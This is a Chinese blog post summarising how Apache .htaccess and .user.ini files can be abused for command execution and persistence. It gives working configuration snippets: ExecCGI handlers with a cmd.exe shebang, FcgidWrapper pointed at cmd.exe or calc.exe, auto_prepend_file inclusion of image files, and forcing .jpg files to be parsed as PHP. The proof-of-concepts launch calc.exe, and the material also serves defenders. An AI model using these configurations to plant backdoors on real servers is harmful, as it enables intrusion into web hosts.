Apache中.htaccess文件利用的总结
Apache Persistece PHP    538    0    0
t3ngyu   Apache Persistece PHP

一、Apache 与 PHP 的交互方式

    1. CGI 模式

        当动态请求到达,Apache启动一个临时的cgi解释器(可以在配置文件中人为指定处理的cgi脚本),当cgi脚本运行结束后,将结果返回给Apache,然后cgi解释器进程自我销毁。当多个动态请求到达时,将先后启动多个cgi解释器。所以这种方法效率极低。

    2. Module 模式

        Apache在启动的时候直接加载php_module,php-cgi常驻Apache进程里,请求到达时,不用成生成cgi解释器,而是直接将动态请求转发给它内部php-cgi。

    3. FastCGI 模式

        FastCGI是CGI的管理工具,该模式下可以实现php-cgi和Apache的分离,并运行在不同的服务器上,通过开启一定数量的CGI进程池,减少Web服务器与CGI程序之间互动的开销,从而使服务器可以同时处理更多的网页请求。PHP-FPM(FastCGI Process Manager)是用来辅助mode_fastcgi模式的fastcgi管理器,相比FastCGI静态的唤起cgi,fpm能根据访问的压力动态的唤起cgi进程和销毁以到达动态的调整cgi数量。



二、Apache 开启.htaccess 配置

        需要Apache 保证.htaccess文件所在目录配置 AllowOverride all 或者 AllowOverride Options FileInfo


三、CGI 模式利用

    1. 修改Apache 配置文件,开启 CGI 模式

LoadModule cgi_module modules/mod_cgi.so

    2. 修改 .htaccess 内容

Options ExecCGI # 允许CGI执行
AddHandler cgi-script .xx # 将xx后缀名的文件,当做CGI程序进行解析

    3. 访问 poc.xx 触发命令执行

#!C:/Windows/System32/cmd.exe /c start calc.exe
1


四、Module 模式利用

    1. 修改Apache 配置文件,开启Module 模式,引入 php.so

    2. PHP 包含其他文件

    (1)修改 php.ini 向所有php文件的头或尾包含其他文件,服务器启动时执行,修改后需要重启服务器

auto_prepend_file = "/home/fdipzone/header.php"
auto_append_file = "/home/fdipzone/footer.php"

    (2)修改 .htaccess 将php文件的头或尾包含其他文件,缺点是目录中每个被读取和被解释的文件每次都要进行处理,性能低;不需要重启服务器;不需要管理员权限

php_value auto_prepend_file "/home/fdipzone/header.php"
php_value auto_append_file "/home/fdipzone/footer.php"


    3. 将特定后缀名文件作为 PHP 解析

AddType application/x-httpd-php .jpg # 不建议使用
<FilesMatch "test.jpg"> # 特定文件名作为php解析
    SetHandler application/x-httpd-php
</FilesMatch>



五、FastCGI 模式利用

    1. 修改Apache 配置文件,开启 FastCGI 模式

LoadModule fcgid_module modules/mod_fcgid.so

    2. 修改  .htaccess 内容

Options +ExecCGI
AddHandler fcgid-script .abc # abc后缀名的文件需要被fcgi来解析,AddHandler还可以换成AddType
FcgidWrapper "C:/Windows/System32/cmd.exe /c start cmd.exe" .abc

    3. 访问 xxx.abc 的文件触发命令执行,内容随便

        也可以使用过相对路径触发,可以避免网络路径更改。如果配置相对路径,其值与phpinfo中的 session.save_path 值起点相同,如果是phpstudy则为\Extensions\tmp\tmp,例如将html解析成php,php-cgi.exe 和 php.ini 在同一目录下(phpinfo中Loaded Configuration File)


AddHandler fcgid-script .htm1
FcgidWrapper "../../php/php7.3.4nts/php-cgi.exe" .htm1

或者直接触发命令执行

AddHandler fcgid-script .xx
FcgidWrapper "../../../WWW/localhost/calc.exe" .xx


    4. 修改.user.ini 利用

        对于CGI/FastCGI模式 PHP 5.3.0 以上版本,还可以使用 在目录下创建.user.ini文件 。来引入该参数

auto_prepend_file = 123.gif


参考链接:

[1] PHP和apache的三种连接示例

[2] CGI、FastCGI和php-fpm概念和区别

[3] Apache中.htaccess文件利用的总结与新思路拓展


觉得不错,点个赞?
Sign in to leave a comment.
No Leanote account ? Sign up now.
0 条评论
文章目录